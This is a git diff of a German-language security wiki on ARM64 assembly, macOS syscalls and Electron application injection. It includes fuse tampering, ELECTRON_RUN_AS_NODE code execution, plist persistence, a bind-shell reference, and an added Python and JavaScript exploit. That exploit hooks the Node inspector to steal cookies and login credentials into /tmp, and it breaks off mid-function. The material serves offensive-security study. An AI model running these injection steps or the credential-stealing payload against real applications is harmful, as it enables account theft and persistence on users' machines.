für Unterprogrammaufrufe, die zurückkehren müssen) -- **`blr`**: **Sprung** mit Link zu Register, verwendet, um ein **Unterprogramm** aufzurufen, bei dem das Ziel in einem **Register** angegeben ist. Speichert die Rückgabeadresse in `x30`. (Dies ist +- Beachten Sie, dass dies das Link-Register nicht mit der Rückgabeadresse füllt (nicht geeignet für Unterprogrammaufrufe, die zurückkehren müssen). +- **`blr`**: **Sprung** mit Link zu Register, verwendet, um eine **Unterroutine** **aufzurufen**, bei der das Ziel in einem **Register** **angegeben** ist. Speichert die Rückgabeadresse in `x30`. - Beispiel: `blr x1` — Dies ruft die Funktion auf, deren Adresse in `x1` enthalten ist, und speichert die Rückgabeadresse in `x30`. -- **`ret`**: **Rückkehr** aus dem **Unterprogramm**, typischerweise unter Verwendung der Adresse in **`x30`**. -- Beispiel: `ret` — Dies kehrt aus dem aktuellen Unterprogramm unter Verwendung der Rückgabeadresse in `x30` zurück. -- **`b.`**: Bedingte Sprünge +- **`ret`**: **Rückkehr** von der **Unterroutine**, typischerweise unter Verwendung der Adresse in **`x30`**. +- Beispiel: `ret` — Dies kehrt von der aktuellen Unterroutine unter Verwendung der Rückgabeadresse in `x30` zurück. +- **`b.`**: Bedingte Sprünge. - **`b.eq`**: **Sprung, wenn gleich**, basierend auf der vorherigen `cmp`-Anweisung. - Beispiel: `b.eq label` — Wenn die vorherige `cmp`-Anweisung zwei gleiche Werte gefunden hat, springt dies zu `label`. - **`b.ne`**: **Sprung, wenn nicht gleich**. Diese Anweisung überprüft die Bedingungsflags (die von einer vorherigen Vergleichsanweisung gesetzt wurden), und wenn die verglichenen Werte nicht gleich waren, springt sie zu einem Label oder einer Adresse. - Beispiel: Nach einer `cmp x0, x1`-Anweisung, `b.ne label` — Wenn die Werte in `x0` und `x1` nicht gleich waren, springt dies zu `label`. -- **`cbz`**: **Vergleiche und springe bei Null**. Diese Anweisung vergleicht ein Register mit null, und wenn sie gleich sind, springt sie zu einem Label oder einer Adresse. +- **`cbz`**: **Vergleiche und springe bei Null**. Diese Anweisung vergleicht ein Register mit Null, und wenn sie gleich sind, springt sie zu einem Label oder einer Adresse. - Beispiel: `cbz x0, label` — Wenn der Wert in `x0` null ist, springt dies zu `label`. -- **`cbnz`**: **Vergleiche und springe bei Nicht-Null**. Diese Anweisung vergleicht ein Register mit null, und wenn sie nicht gleich sind, springt sie zu einem Label oder einer Adresse. +- **`cbnz`**: **Vergleiche und springe bei Nicht-Null**. Diese Anweisung vergleicht ein Register mit Null, und wenn sie nicht gleich sind, springt sie zu einem Label oder einer Adresse. - Beispiel: `cbnz x0, label` — Wenn der Wert in `x0` nicht null ist, springt dies zu `label`. -- **`tbnz`**: Teste Bit und springe bei Nicht-Null -- Beispiel: `tbnz x0, #8, label` -- **`tbz`**: Teste Bit und springe bei Null -- Beispiel: `tbz x0, #8, label` -- **Bedingte Auswahloperationen**: Dies sind Operationen, deren Verhalten von den bedingten Bits abhängt. -- `csel Xd, Xn, Xm, cond` -> `csel X0, X1, X2, EQ` -> Wenn wahr, X0 = X1, wenn falsch, X0 = X2 -- `csinc Xd, Xn, Xm, cond` -> Wenn wahr, Xd = Xn, wenn falsch, Xd = Xm + 1 -- `cinc Xd, Xn, cond` -> Wenn wahr, Xd = Xn + 1, wenn falsch, Xd = Xn -- `csinv Xd, Xn, Xm, cond` -> Wenn wahr, Xd = Xn, wenn falsch, Xd = NOT(Xm) -- `cinv Xd, Xn, cond` -> Wenn wahr, Xd = NOT(Xn), wenn falsch, Xd = Xn -- `csneg Xd, Xn, Xm, cond` -> Wenn wahr, Xd = Xn, wenn falsch, Xd = - Xm -- `cneg Xd, Xn, cond` -> Wenn wahr, Xd = - Xn, wenn falsch, Xd = Xn -- `cset Xd, Xn, Xm, cond` -> Wenn wahr, Xd = 1, wenn falsch, Xd = 0 -- `csetm Xd, Xn, Xm, cond` -> Wenn wahr, Xd = \, wenn falsch, Xd = 0 +- **`tbnz`**: Teste Bit und springe bei Nicht-Null. +- Beispiel: `tbnz x0, #8, label`. +- **`tbz`**: Teste Bit und springe bei Null. +- Beispiel: `tbz x0, #8, label`. +- **Bedingte Auswahloperationen**: Dies sind Operationen, deren Verhalten je nach den bedingten Bits variiert. +- `csel Xd, Xn, Xm, cond` -> `csel X0, X1, X2, EQ` -> Wenn wahr, X0 = X1, wenn falsch, X0 = X2. +- `csinc Xd, Xn, Xm, cond` -> Wenn wahr, Xd = Xn, wenn falsch, Xd = Xm + 1. +- `cinc Xd, Xn, cond` -> Wenn wahr, Xd = Xn + 1, wenn falsch, Xd = Xn. +- `csinv Xd, Xn, Xm, cond` -> Wenn wahr, Xd = Xn, wenn falsch, Xd = NOT(Xm). +- `cinv Xd, Xn, cond` -> Wenn wahr, Xd = NOT(Xn), wenn falsch, Xd = Xn. +- `csneg Xd, Xn, Xm, cond` -> Wenn wahr, Xd = Xn, wenn falsch, Xd = - Xm. +- `cneg Xd, Xn, cond` -> Wenn wahr, Xd = - Xn, wenn falsch, Xd = Xn. +- `cset Xd, Xn, Xm, cond` -> Wenn wahr, Xd = 1, wenn falsch, Xd = 0. +- `csetm Xd, Xn, Xm, cond` -> Wenn wahr, Xd = \, wenn falsch, Xd = 0. - **`adrp`**: Berechne die **Seitenadresse eines Symbols** und speichere sie in einem Register. - Beispiel: `adrp x0, symbol` — Dies berechnet die Seitenadresse von `symbol` und speichert sie in `x0`. - **`ldrsw`**: **Lade** einen signierten **32-Bit**-Wert aus dem Speicher und **signiere ihn auf 64** Bits. @@ -230,12 +230,12 @@ svc 0 ; Führe den Systemaufruf aus. ```armasm stp x29, x30, [sp, #-16]! ; store pair x29 and x30 to the stack and decrement the stack pointer ``` -2. **Richten Sie den neuen Frame-Zeiger ein**: `mov x29, sp` (richtet den neuen Frame-Zeiger für die aktuelle Funktion ein) -3. **Reservieren Sie Speicher auf dem Stack für lokale Variablen** (falls erforderlich): `sub sp, sp, ` (wobei `` die benötigte Anzahl von Bytes ist) +2. **Richten Sie den neuen Frame-Zeiger ein**: `mov x29, sp` (richtet den neuen Frame-Zeiger für die aktuelle Funktion ein) +3. **Reservieren Sie Speicher auf dem Stack für lokale Variablen** (falls erforderlich): `sub sp, sp, ` (wobei `` die benötigte Anzahl von Bytes ist) ### **Funktions-Epilog** -1. **Geben Sie lokale Variablen frei (falls welche reserviert wurden)**: `add sp, sp, ` +1. **Geben Sie lokale Variablen frei (falls welche zugewiesen wurden)**: `add sp, sp, ` 2. **Stellen Sie das Link-Register und den Frame-Zeiger wieder her**: ```armasm ldp x29, x30, [sp], #16 ; load pair x29 and x30 from the stack and increment the stack pointer @@ -246,7 +246,7 @@ ldp x29, x30, [sp], #16 ; load pair x29 and x30 from the stack and increment th Armv8-A unterstützt die Ausführung von 32-Bit-Programmen. **AArch32** kann in einem von **zwei Befehlssätzen** laufen: **`A32`** und **`T32`** und kann zwischen ihnen über **`interworking`** wechseln.\ **Privilegierte** 64-Bit-Programme können die **Ausführung von 32-Bit**-Programmen planen, indem sie einen Ausnahmeebenenübergang zur weniger privilegierten 32-Bit-Ebene ausführen.\ -Beachten Sie, dass der Übergang von 64-Bit zu 32-Bit mit einer Senkung der Ausnahmeebene erfolgt (zum Beispiel ein 64-Bit-Programm in EL1, das ein Programm in EL0 auslöst). Dies geschieht, indem das **Bit 4 von** **`SPSR_ELx`** speziellen Register **auf 1** gesetzt wird, wenn der `AArch32`-Prozess-Thread bereit ist, ausgeführt zu werden, und der Rest von `SPSR_ELx` speichert den **`AArch32`**-Programms CPSR. Dann ruft der privilegierte Prozess die **`ERET`**-Anweisung auf, damit der Prozessor zu **`AArch32`** wechselt und in A32 oder T32 je nach CPSR\*\*.\*\* +Beachten Sie, dass der Übergang von 64-Bit zu 32-Bit mit einer Senkung der Ausnahmeebene erfolgt (zum Beispiel ein 64-Bit-Programm in EL1, das ein Programm in EL0 auslöst). Dies geschieht, indem das **Bit 4 von** **`SPSR_ELx`**-Sonderregister **auf 1** gesetzt wird, wenn der `AArch32`-Prozess-Thread bereit ist, ausgeführt zu werden, und der Rest von `SPSR_ELx` speichert die **`AArch32`**-Programme CPSR. Dann ruft der privilegierte Prozess die **`ERET`**-Anweisung auf, damit der Prozessor zu **`AArch32`** wechselt und in A32 oder T32 je nach CPSR** eintritt.** Das **`interworking`** erfolgt unter Verwendung der J- und T-Bits des CPSR. `J=0` und `T=0` bedeutet **`A32`** und `J=0` und `T=1` bedeutet **T32**. Dies bedeutet im Wesentlichen, dass das **niedrigste Bit auf 1** gesetzt wird, um anzuzeigen, dass der Befehlssatz T32 ist.\ Dies wird während der **interworking branch instructions** gesetzt, kann aber auch direkt mit anderen Anweisungen gesetzt werden, wenn der PC als Zielregister festgelegt ist. Beispiel: @@ -272,7 +272,7 @@ Es gibt 16 32-Bit-Register (r0-r15). **Von r0 bis r14** können sie für **jede - **`r13`**: Stack Pointer - **`r14`**: Link Register -Darüber hinaus werden Register in **`banked registries`** gesichert. Dies sind Orte, die die Werte der Register speichern und einen **schnellen Kontextwechsel** bei der Ausnahmebehandlung und privilegierten Operationen ermöglichen, um die Notwendigkeit zu vermeiden, Register jedes Mal manuell zu speichern und wiederherzustellen.\ +Darüber hinaus werden Register in **`banked registries`** gesichert. Dies sind Orte, die die Werte der Register speichern und einen **schnellen Kontextwechsel** bei der Ausnahmebehandlung und privilegierten Operationen ermöglichen, um die Notwendigkeit zu vermeiden, die Register jedes Mal manuell zu speichern und wiederherzustellen.\ Dies geschieht durch **Speichern des Prozessorstatus von `CPSR` in `SPSR`** des Prozessormodus, in den die Ausnahme auftritt. Bei der Rückkehr von der Ausnahme wird der **`CPSR`** aus dem **`SPSR`** wiederhergestellt. ### CPSR - Aktueller Programmstatusregister @@ -289,23 +289,23 @@ Die Felder sind in einige Gruppen unterteilt: #### Application Program Status Register (APSR) - Die **`N`**, **`Z`**, **`C`**, **`V`** Flags (genau wie in AArch64) -- Das **`Q`** Flag: Es wird auf 1 gesetzt, wann immer **ganzzahlige Sättigung auftritt** während der Ausführung einer spezialisierten saturierenden arithmetischen Anweisung. Sobald es auf **`1`** gesetzt ist, behält es den Wert, bis es manuell auf 0 gesetzt wird. Darüber hinaus gibt es keine Anweisung, die seinen Wert implizit überprüft, dies muss manuell gelesen werden. +- Das **`Q`** Flag: Es wird auf 1 gesetzt, wann immer **ganzzahlige Sättigung auftritt** während der Ausführung einer spezialisierten saturierenden arithmetischen Anweisung. Sobald es auf **`1`** gesetzt ist, behält es den Wert, bis es manuell auf 0 gesetzt wird. Darüber hinaus gibt es keine Anweisung, die seinen Wert implizit überprüft, dies muss manuell durch Lesen erfolgen. - **`GE`** (Größer oder gleich) Flags: Es wird in SIMD (Single Instruction, Multiple Data) Operationen verwendet, wie "parallele Addition" und "parallele Subtraktion". Diese Operationen ermöglichen die Verarbeitung mehrerer Datenpunkte in einer einzigen Anweisung. Zum Beispiel addiert die **`UADD8`** Anweisung **vier Byte-Paare** (von zwei 32-Bit-Operanden) parallel und speichert die Ergebnisse in einem 32-Bit-Register. Sie **setzt dann die `GE` Flags im `APSR`** basierend auf diesen Ergebnissen. Jedes GE-Flag entspricht einer der Byte-Addition, die angibt, ob die Addition für dieses Byte-Paar **übergelaufen** ist. -Die **`SEL`** Anweisung verwendet diese GE-Flags, um bedingte Aktionen auszuführen. +Die **`SEL`** Anweisung verwendet diese GE-Flags, um bedingte Aktionen durchzuführen. #### Ausführungsstatusregister - Die **`J`** und **`T`** Bits: **`J`** sollte 0 sein und wenn **`T`** 0 ist, wird der Befehlssatz A32 verwendet, und wenn er 1 ist, wird T32 verwendet. - **IT Block Status Register** (`ITSTATE`): Dies sind die Bits von 10-15 und 25-26. Sie speichern Bedingungen für Anweisungen innerhalb einer **`IT`**-präfixierten Gruppe. - **`E`** Bit: Gibt die **Endianness** an. -- **Mode und Ausnahme-Maskenbits** (0-4): Sie bestimmen den aktuellen Ausführungsstatus. Das **5.** gibt an, ob das Programm als 32-Bit (eine 1) oder 64-Bit (eine 0) läuft. Die anderen 4 repräsentieren den **aktuell verwendeten Ausnahme-Modus** (wenn eine Ausnahme auftritt und behandelt wird). Die gesetzte Zahl **gibt die aktuelle Priorität** an, falls eine andere Ausnahme ausgelöst wird, während diese behandelt wird. +- **Mode und Ausnahme-Maskenbits** (0-4): Sie bestimmen den aktuellen Ausführungsstatus. Das **5.** gibt an, ob das Programm als 32-Bit (eine 1) oder 64-Bit (eine 0) läuft. Die anderen 4 repräsentieren den **aktuell verwendeten Ausnahmemodus** (wenn eine Ausnahme auftritt und behandelt wird). Die gesetzte Zahl **gibt die aktuelle Priorität** an, falls eine andere Ausnahme ausgelöst wird, während diese behandelt wird.
-- **`AIF`**: Bestimmte Ausnahmen können mit den Bits **`A`**, `I`, `F` deaktiviert werden. Wenn **`A`** 1 ist, bedeutet das, dass **asynchrone Abbrüche** ausgelöst werden. Das **`I`** konfiguriert die Reaktion auf externe Hardware **Interrupts Requests** (IRQs). und das F bezieht sich auf **Fast Interrupt Requests** (FIRs). +- **`AIF`**: Bestimmte Ausnahmen können mit den Bits **`A`**, `I`, `F` deaktiviert werden. Wenn **`A`** 1 ist, bedeutet das, dass **asynchrone Abbrüche** ausgelöst werden. Das **`I`** konfiguriert die Reaktion auf externe Hardware **Interrupt Requests** (IRQs). und das F bezieht sich auf **Fast Interrupt Requests** (FIRs). ## macOS @@ -315,7 +315,7 @@ Schau dir [**syscalls.master**](https://opensource.apple.com/source/xnu/xnu-1504 ### Mach Traps -Schau dir in [**syscall_sw.c**](https://opensource.apple.com/source/xnu/xnu-3789.1.32/osfmk/kern/syscall_sw.c.auto.html) die `mach_trap_table` und in [**mach_traps.h**](https://opensource.apple.com/source/xnu/xnu-3789.1.32/osfmk/mach/mach_traps.h) die Prototypen an. Die maximale Anzahl der Mach-Traps ist `MACH_TRAP_TABLE_COUNT` = 128. Mach-Traps haben **x16 < 0**, also musst du die Zahlen aus der vorherigen Liste mit einem **Minus** aufrufen: **`_kernelrpc_mach_vm_allocate_trap`** ist **`-10`**. +Schau dir in [**syscall_sw.c**](https://opensource.apple.com/source/xnu/xnu-3789.1.32/osfmk/kern/syscall_sw.c.auto.html) die `mach_trap_table` an und in [**mach_traps.h**](https://opensource.apple.com/source/xnu/xnu-3789.1.32/osfmk/mach/mach_traps.h) die Prototypen. Die maximale Anzahl von Mach-Traps ist `MACH_TRAP_TABLE_COUNT` = 128. Mach-Traps haben **x16 < 0**, also musst du die Zahlen aus der vorherigen Liste mit einem **Minus** aufrufen: **`_kernelrpc_mach_vm_allocate_trap`** ist **`-10`**. Du kannst auch **`libsystem_kernel.dylib`** in einem Disassembler überprüfen, um herauszufinden, wie man diese (und BSD) syscalls aufruft: ```bash @@ -330,15 +330,15 @@ Beachten Sie, dass **Ida** und **Ghidra** auch **spezifische dylibs** aus dem Ca > [!TIP] > Manchmal ist es einfacher, den **dekompilierten** Code von **`libsystem_kernel.dylib`** **zu überprüfen**, als den **Quellcode** zu überprüfen, da der Code mehrerer Syscalls (BSD und Mach) über Skripte generiert wird (siehe Kommentare im Quellcode), während Sie in der dylib finden können, was aufgerufen wird. -### machdep-Aufrufe +### machdep Aufrufe -XNU unterstützt einen weiteren Typ von Aufrufen, die maschinenabhängig sind. Die Anzahl dieser Aufrufe hängt von der Architektur ab, und weder die Aufrufe noch die Zahlen sind garantiert konstant. +XNU unterstützt eine andere Art von Aufrufen, die maschinenabhängig sind. Die Anzahl dieser Aufrufe hängt von der Architektur ab, und weder die Aufrufe noch die Zahlen sind garantiert konstant. -### comm-Seite +### comm Seite -Dies ist eine vom Kernel verwaltete Speicherseite, die in den Adressraum jedes Benutzerprozesses gemappt ist. Sie soll den Übergang vom Benutzermodus in den Kernelraum schneller machen als die Verwendung von Syscalls für Kernel-Dienste, die so häufig verwendet werden, dass dieser Übergang sehr ineffizient wäre. +Dies ist eine vom Kernel verwaltete Speicherseite, die in den Adressraum jedes Benutzerprozesses gemappt ist. Sie soll den Übergang vom Benutzermodus in den Kernelraum schneller machen, als Syscalls für Kernel-Dienste zu verwenden, die so häufig genutzt werden, dass dieser Übergang sehr ineffizient wäre. -Zum Beispiel liest der Aufruf `gettimeofdate` den Wert von `timeval` direkt von der comm-Seite. +Zum Beispiel liest der Aufruf `gettimeofdate` den Wert von `timeval` direkt von der comm Seite. ### objc_msgSend @@ -350,7 +350,7 @@ Parameter ([weitere Informationen in den Dokumenten](https://developer.apple.com - x1: op -> Selektor der Methode - x2... -> Rest der Argumente der aufgerufenen Methode -Wenn Sie also einen Haltepunkt vor dem Sprung zu dieser Funktion setzen, können Sie leicht herausfinden, was in lldb aufgerufen wird (in diesem Beispiel ruft das Objekt ein Objekt von `NSConcreteTask` auf, das einen Befehl ausführen wird): +Wenn Sie also einen Breakpoint vor dem Sprung zu dieser Funktion setzen, können Sie leicht herausfinden, was in lldb aufgerufen wird (in diesem Beispiel ruft das Objekt ein Objekt von `NSConcreteTask` auf, das einen Befehl ausführen wird): ```bash # Right in the line were objc_msgSend will be called (lldb) po $x0 @@ -369,25 +369,25 @@ whoami ) ``` > [!TIP] -> Das Setzen der Umgebungsvariable **`NSObjCMessageLoggingEnabled=1`** ermöglicht es, zu protokollieren, wann diese Funktion in einer Datei wie `/tmp/msgSends-pid` aufgerufen wird. +> Durch das Setzen der Umgebungsvariable **`NSObjCMessageLoggingEnabled=1`** ist es möglich, zu protokollieren, wann diese Funktion in einer Datei wie `/tmp/msgSends-pid` aufgerufen wird. > -> Darüber hinaus kann durch das Setzen von **`OBJC_HELP=1`** und das Aufrufen einer beliebigen Binärdatei andere Umgebungsvariablen angezeigt werden, die verwendet werden können, um **log** zu protokollieren, wann bestimmte Objc-C-Aktionen auftreten. +> Darüber hinaus kann durch das Setzen von **`OBJC_HELP=1`** und das Aufrufen einer beliebigen Binärdatei gesehen werden, welche anderen Umgebungsvariablen verwendet werden können, um **log** zu protokollieren, wann bestimmte Objc-C-Aktionen auftreten. Wenn diese Funktion aufgerufen wird, ist es notwendig, die aufgerufene Methode der angegebenen Instanz zu finden. Dazu werden verschiedene Suchen durchgeführt: - Führen Sie eine optimistische Cache-Suche durch: -- Wenn erfolgreich, erledigt +- Wenn erfolgreich, fertig - Erwerben Sie runtimeLock (lesen) - Wenn (realize && !cls->realized) Klasse realisieren - Wenn (initialize && !cls->initialized) Klasse initialisieren - Versuchen Sie den eigenen Cache der Klasse: -- Wenn erfolgreich, erledigt +- Wenn erfolgreich, fertig - Versuchen Sie die Methodenliste der Klasse: -- Wenn gefunden, Cache füllen und erledigt +- Wenn gefunden, Cache füllen und fertig - Versuchen Sie den Cache der Superklasse: -- Wenn erfolgreich, erledigt +- Wenn erfolgreich, fertig - Versuchen Sie die Methodenliste der Superklasse: -- Wenn gefunden, Cache füllen und erledigt +- Wenn gefunden, Cache füllen und fertig - Wenn (resolver) versuchen Sie den Methodenresolver und wiederholen Sie die Suche von der Klassensuche - Wenn Sie immer noch hier sind (= alles andere ist fehlgeschlagen) versuchen Sie den Forwarder @@ -609,9 +609,9 @@ sh_c_option: .asciz "-c" .align 2 touch_command: .asciz "touch /tmp/lalala" ``` -#### Bind-Shell +#### Bind shell -Bind-Shell von [https://raw.githubusercontent.com/daem0nc0re/macOS_ARM64_Shellcode/master/bindshell.s](https://raw.githubusercontent.com/daem0nc0re/macOS_ARM64_Shellcode/master/bindshell.s) in **Port 4444** +Bind shell von [https://raw.githubusercontent.com/daem0nc0re/macOS_ARM64_Shellcode/master/bindshell.s](https://raw.githubusercontent.com/daem0nc0re/macOS_ARM64_Shellcode/master/bindshell.s) in **port 4444** ```armasm .section __TEXT,__text .global _main diff --git a/src/macos-hardening/macos-security-and-privilege-escalation/macos-proces-abuse/macos-electron-applications-injection.md b/src/macos-hardening/macos-security-and-privilege-escalation/macos-proces-abuse/macos-electron-applications-injection.md index 988c968de..caba85dfc 100644 --- a/src/macos-hardening/macos-security-and-privilege-escalation/macos-proces-abuse/macos-electron-applications-injection.md +++ b/src/macos-hardening/macos-security-and-privilege-escalation/macos-proces-abuse/macos-electron-applications-injection.md @@ -1,4 +1,4 @@ -# macOS Electron-Anwendungen-Injektion +# macOS Electron-Anwendungsinjektion {{#include ../../../banners/hacktricks-training.md}} @@ -11,10 +11,10 @@ Und node hat einige **Parameter** und **Umgebungsvariablen**, die verwendet werd Diese Techniken werden als Nächstes besprochen, aber in letzter Zeit hat Electron mehrere **Sicherheitsflags hinzugefügt, um sie zu verhindern**. Dies sind die [**Electron-Fuses**](https://www.electronjs.org/docs/latest/tutorial/fuses) und diese werden verwendet, um zu **verhindern**, dass Electron-Anwendungen in macOS **willkürlichen Code laden**: -- **`RunAsNode`**: Wenn deaktiviert, verhindert es die Verwendung der Umgebungsvariable **`ELECTRON_RUN_AS_NODE`**, um Code einzufügen. -- **`EnableNodeCliInspectArguments`**: Wenn deaktiviert, werden Parameter wie `--inspect`, `--inspect-brk` nicht respektiert. Dies vermeidet diesen Weg, um Code einzufügen. -- **`EnableEmbeddedAsarIntegrityValidation`**: Wenn aktiviert, wird die geladene **`asar`** **Datei** von macOS **validiert**. Dadurch wird **Code-Injektion** durch Modifikation des Inhalts dieser Datei **verhindert**. -- **`OnlyLoadAppFromAsar`**: Wenn dies aktiviert ist, wird anstelle der Suche in der folgenden Reihenfolge: **`app.asar`**, **`app`** und schließlich **`default_app.asar`** nur app.asar überprüft und verwendet, wodurch sichergestellt wird, dass es in Kombination mit dem **`embeddedAsarIntegrityValidation`**-Fuse **unmöglich** ist, **nicht-validierten Code** zu **laden**. +- **`RunAsNode`**: Wenn deaktiviert, verhindert es die Verwendung der Umgebungsvariable **`ELECTRON_RUN_AS_NODE`**, um Code zu injizieren. +- **`EnableNodeCliInspectArguments`**: Wenn deaktiviert, werden Parameter wie `--inspect`, `--inspect-brk` nicht respektiert. Dies vermeidet diesen Weg, um Code zu injizieren. +- **`EnableEmbeddedAsarIntegrityValidation`**: Wenn aktiviert, wird die geladene **`asar`** **Datei** von macOS **validiert**. Dadurch wird **Code-Injektion** durch Modifizierung des Inhalts dieser Datei **verhindert**. +- **`OnlyLoadAppFromAsar`**: Wenn dies aktiviert ist, wird anstelle der Suche in der folgenden Reihenfolge: **`app.asar`**, **`app`** und schließlich **`default_app.asar`** nur app.asar überprüft und verwendet, wodurch sichergestellt wird, dass es in Kombination mit dem **`embeddedAsarIntegrityValidation`**-Fuse **unmöglich** ist, **nicht validierten Code** zu **laden**. - **`LoadBrowserProcessSpecificV8Snapshot`**: Wenn aktiviert, verwendet der Browserprozess die Datei `browser_v8_context_snapshot.bin` für seinen V8-Snapshot. Ein weiterer interessanter Fuse, der die Code-Injektion nicht verhindert, ist: @@ -46,7 +46,7 @@ In macOS-Anwendungen befindet sich dies typischerweise in `application.app/Conte grep -R "dL7pKGdnNz796PbbjQWNKmHXBZaB9tsX" Slack.app/ Binary file Slack.app//Contents/Frameworks/Electron Framework.framework/Versions/A/Electron Framework matches ``` -Sie könnten diese Datei in [https://hexed.it/](https://hexed.it/) laden und nach der vorherigen Zeichenfolge suchen. Nach dieser Zeichenfolge sehen Sie in ASCII eine Zahl "0" oder "1", die angibt, ob jede Sicherung deaktiviert oder aktiviert ist. Ändern Sie einfach den Hex-Code (`0x30` ist `0` und `0x31` ist `1`), um **die Sicherungswerte zu ändern**. +Sie können diese Datei in [https://hexed.it/](https://hexed.it/) laden und nach der vorherigen Zeichenfolge suchen. Nach dieser Zeichenfolge sehen Sie in ASCII eine Zahl "0" oder "1", die angibt, ob jede Sicherung deaktiviert oder aktiviert ist. Ändern Sie einfach den Hex-Code (`0x30` ist `0` und `0x31` ist `1`), um **die Sicherungswerte zu ändern**.
@@ -54,7 +54,7 @@ Beachten Sie, dass die Anwendung nicht ausgeführt wird, wenn Sie versuchen, die ## RCE Code zu Electron-Anwendungen hinzufügen -Es könnte **externe JS/HTML-Dateien** geben, die eine Electron-App verwendet, sodass ein Angreifer Code in diese Dateien injizieren könnte, deren Signatur nicht überprüft wird, und willkürlichen Code im Kontext der App ausführen kann. +Es könnte **externe JS/HTML-Dateien** geben, die eine Electron-App verwendet, sodass ein Angreifer Code in diese Dateien injizieren könnte, deren Signatur nicht überprüft wird, und willkürlichen Code im Kontext der App ausführen könnte. > [!CAUTION] > Es gibt jedoch derzeit 2 Einschränkungen: @@ -66,7 +66,7 @@ Es könnte **externe JS/HTML-Dateien** geben, die eine Electron-App verwendet, s Beachten Sie, dass es möglich ist, die Anforderung von **`kTCCServiceSystemPolicyAppBundles`** zu umgehen, indem Sie die Anwendung in ein anderes Verzeichnis (wie **`/tmp`**) kopieren, den Ordner **`app.app/Contents`** in **`app.app/NotCon`** umbenennen, die **asar**-Datei mit Ihrem **bösartigen** Code **modifizieren**, sie wieder in **`app.app/Contents`** umbenennen und sie ausführen. -Sie können den Code aus der asar-Datei mit: +Sie können den Code aus der asar-Datei mit entpacken: ```bash npx asar extract app.asar app-decomp ``` @@ -74,7 +74,7 @@ Und packe es wieder ein, nachdem du es mit folgendem modifiziert hast: ```bash npx asar pack app-decomp app-new.asar ``` -## RCE mit `ELECTRON_RUN_AS_NODE` +## RCE mit ELECTRON_RUN_AS_NODE Laut [**den Dokumenten**](https://www.electronjs.org/docs/latest/api/environment-variables#electron_run_as_node) wird der Prozess, wenn diese Umgebungsvariable gesetzt ist, als normaler Node.js-Prozess gestartet. ```bash @@ -84,11 +84,11 @@ ELECTRON_RUN_AS_NODE=1 /Applications/Discord.app/Contents/MacOS/Discord require('child_process').execSync('/System/Applications/Calculator.app/Contents/MacOS/Calculator') ``` > [!CAUTION] -> Wenn die Sicherung **`RunAsNode`** deaktiviert ist, wird die Umgebungsvariable **`ELECTRON_RUN_AS_NODE`** ignoriert, und dies wird nicht funktionieren. +> Wenn die Fuse **`RunAsNode`** deaktiviert ist, wird die Umgebungsvariable **`ELECTRON_RUN_AS_NODE`** ignoriert, und dies wird nicht funktionieren. ### Injection aus der App Plist -Wie [**hier vorgeschlagen**](https://www.trustedsec.com/blog/macos-injection-via-third-party-frameworks/), könnten Sie diese Umgebungsvariable in einer plist missbrauchen, um Persistenz aufrechtzuerhalten: +Wie [**hier vorgeschlagen**](https://www.trustedsec.com/blog/macos-injection-via-third-party-frameworks/), könnten Sie diese Umgebungsvariable in einer Plist missbrauchen, um Persistenz aufrechtzuerhalten: ```xml @@ -154,10 +154,218 @@ Zum Beispiel: # Connect to it using chrome://inspect and execute a calculator with: require('child_process').execSync('/System/Applications/Calculator.app/Contents/MacOS/Calculator') ``` +In [**diesem Blogbeitrag**](https://hackerone.com/reports/1274695) wird dieses Debugging missbraucht, um einen headless chrome **willkürliche Dateien an willkürlichen Orten herunterzuladen**. + +> [!TIP] +> Wenn eine App ihre eigene Methode hat, um zu überprüfen, ob Umgebungsvariablen oder Parameter wie `--inspect` gesetzt sind, könntest du versuchen, dies zur Laufzeit mit dem Argument `--inspect-brk` zu **umgehen**, das die Ausführung zu Beginn der App **stoppt** und einen Bypass ausführt (zum Beispiel durch Überschreiben der Argumente oder der Umgebungsvariablen des aktuellen Prozesses). + +Das Folgende war ein Exploit, bei dem durch Überwachung und Ausführung der App mit dem Parameter `--inspect-brk` es möglich war, den benutzerdefinierten Schutz zu umgehen (indem die Parameter des Prozesses überschrieben wurden, um `--inspect-brk` zu entfernen) und dann eine JS-Nutzlast einzufügen, um Cookies und Anmeldeinformationen aus der App zu extrahieren: +```python +import asyncio +import websockets +import json +import requests +import os +import psutil +from time import sleep + +INSPECT_URL = None +CONT = 0 +CONTEXT_ID = None +NAME = None +UNIQUE_ID = None + +JS_PAYLOADS = """ +var { webContents } = require('electron'); +var fs = require('fs'); + +var wc = webContents.getAllWebContents()[0] + + +function writeToFile(filePath, content) { +const data = typeof content === 'string' ? content : JSON.stringify(content, null, 2); + +fs.writeFile(filePath, data, (err) => { +if (err) { +console.error(`Error writing to file ${filePath}:`, err); +} else { +console.log(`File written successfully at ${filePath}`); +} +}); +} + +function get_cookies() { +intervalIdCookies = setInterval(() => { +console.log("Checking cookies..."); +wc.session.cookies.get({}) +.then((cookies) => { +tokenCookie = cookies.find(cookie => cookie.name === "token"); +if (tokenCookie){ +writeToFile("/tmp/cookies.txt", cookies); +clearInterval(intervalIdCookies); +wc.executeJavaScript(`alert("Cookies stolen and written to /tmp/cookies.txt")`); +} +}) +}, 1000); +} + +function get_creds() { +in_location = false; +intervalIdCreds = setInterval(() => { +if (wc.mainFrame.url.includes("https://www.victim.com/account/login")) { +in_location = true; +console.log("Injecting creds logger..."); +wc.executeJavaScript(` +(function() { +email = document.getElementById('login_email_id'); +password = document.getElementById('login_password_id'); +if (password && email) { +return email.value+":"+password.value; +} +})(); +`).then(result => { +writeToFile("/tmp/victim_credentials.txt", result); +}) +} +else if (in_location) { +wc.executeJavaScript(`alert("Creds stolen and written to /tmp/victim_credentials.txt")`); +clearInterval(intervalIdCreds); +} +}, 10); // Check every 10ms +setTimeout(() => clearInterval(intervalId), 20000); // Stop after 20 seconds +} + +get_cookies(); +get_creds(); +console.log("Payloads injected"); +""" + +async def get_debugger_url(): +""" +Fetch the local inspector's WebSocket URL from the JSON endpoint. +Assumes there's exactly one debug target. +""" +global INSPECT_URL + +url = "http://127.0.0.1:9229/json" +response = requests.get(url) +data = response.json() +if not data: +raise RuntimeError("No debug targets found on port 9229.") +# data[0] should contain an object with "webSocketDebuggerUrl" +ws_url = data[0].get("webSocketDebuggerUrl") +if not ws_url: +raise RuntimeError("webSocketDebuggerUrl not found in inspector data.") +INSPECT_URL = ws_url + + +async def monitor_victim(): +print("Monitoring victim process...") +found = False +while not found: +sleep(1) # Check every second +for process in psutil.process_iter(attrs=['pid', 'name']): +try: +# Check if the process name contains "victim" +if process.info['name'] and 'victim' in process.info['name']: +found = True 